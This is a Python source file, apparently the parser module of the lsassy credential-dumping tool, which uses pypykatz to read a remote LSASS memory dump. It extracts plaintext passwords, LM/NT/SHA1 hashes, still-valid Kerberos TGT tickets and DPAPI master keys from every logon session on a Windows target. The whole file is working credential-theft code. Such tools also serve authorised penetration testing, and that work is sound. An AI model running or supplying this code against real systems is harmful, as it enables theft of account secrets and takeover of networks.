from datetime import datetime

from pypykatz.pypykatz import pypykatz

from lsassy.credential import Credential
from lsassy.logger import lsassy_logger


class Parser:
    """
    Parse remote lsass dump file using impacketfile and pypykatz
    """

    def __init__(self, target, dumpfile):
        self._target = target
        self._dumpfile = dumpfile

    def parse(self):
        """
        Parse remote dump file and delete it after parsing
        :return: List of Credentials
        """
        credentials = []
        tickets = []
        masterkeys = []
        try:
            pypy_parse = pypykatz.parse_minidump_external(
                self._dumpfile, chunksize=60 * 1024
            )
        except Exception:
            lsassy_logger.error(
                "An error occurred while parsing lsass dump", exc_info=True
            )
            return None

        ssps = [
            "msv_creds",
            "wdigest_creds",
            "ssp_creds",
            "livessp_creds",
            "kerberos_creds",
            "credman_creds",
            "tspkg_creds",
            "dpapi_creds",
        ]
        for luid in pypy_parse.logon_sessions:
            for ssp in ssps:
                for cred in getattr(pypy_parse.logon_sessions[luid], ssp, []):
                    domain = getattr(cred, "domainname", None)
                    username = getattr(cred, "username", None)
                    password = getattr(cred, "password", None)
                    LMHash = getattr(cred, "LMHash", None)
                    NThash = getattr(cred, "NThash", None)
                    SHA1 = getattr(cred, "SHAHash", None)
                    if LMHash is not None:
                        LMHash = LMHash.hex()
                    if NThash is not None:
                        NThash = NThash.hex()
                    if SHA1 is not None:
                        SHA1 = SHA1.hex()
                    if username and (
                        password
                        or (NThash and NThash != "00000000000000000000000000000000")
                        or (LMHash and LMHash != "00000000000000000000000000000000")
                    ):
                        credentials.append(
                            Credential(
                                hostname=self._target,
                                ssp=ssp,
                                domain=domain,
                                username=username,
                                password=password,
                                lmhash=LMHash,
                                nthash=NThash,
                                sha1=SHA1,
                            )
                        )

            for kcred in pypy_parse.logon_sessions[luid].kerberos_creds:
                for ticket in kcred.tickets:
                    tickets.append(ticket)

            for dpapicred in pypy_parse.logon_sessions[luid].dpapi_creds:
                m = "{%s}:%s" % (dpapicred.key_guid, dpapicred.sha1_masterkey)
                if m not in masterkeys:
                    masterkeys.append(m)
                    credentials.append(
                        Credential(
                            hostname=self._target,
                            ssp="dpapi",
                            domain="",
                            username="",
                            masterkey=m,
                        )
                    )

        for cred in pypy_parse.orphaned_creds:
            if cred.credtype == "kerberos":
                for ticket in cred.tickets:
                    tickets.append(ticket)

        for ticket in tickets:
            if ticket.ServiceName is not None and ticket.ServiceName[0] == "krbtgt":
                if ticket.EClientName is not None and ticket.DomainName is not None:
                    if (
                        ticket.TargetDomainName is not None
                        and ticket.TargetDomainName != ticket.DomainName
                    ):
                        target_domain = ticket.TargetDomainName
                    else:
                        target_domain = ticket.DomainName
                    # Keep only valid tickets
                    if ticket.EndTime > datetime.now(ticket.EndTime.tzinfo):
                        credentials.append(
                            Credential(
                                hostname=self._target,
                                ssp="kerberos",
                                domain=ticket.DomainName,
                                username=ticket.EClientName[0],
                                ticket={
                                    "file": list(ticket.kirbi_data)[0].split(".kirbi")[
                                        0
                                    ]
                                    + "_"
                                    + ticket.EndTime.strftime("%Y%m%d%H%M%S")
                                    + ".ccache",
                                    "domain": target_domain,
                                    "endtime": ticket.EndTime,
                                },
                            )
                        )

        return credentials, tickets, masterkeys
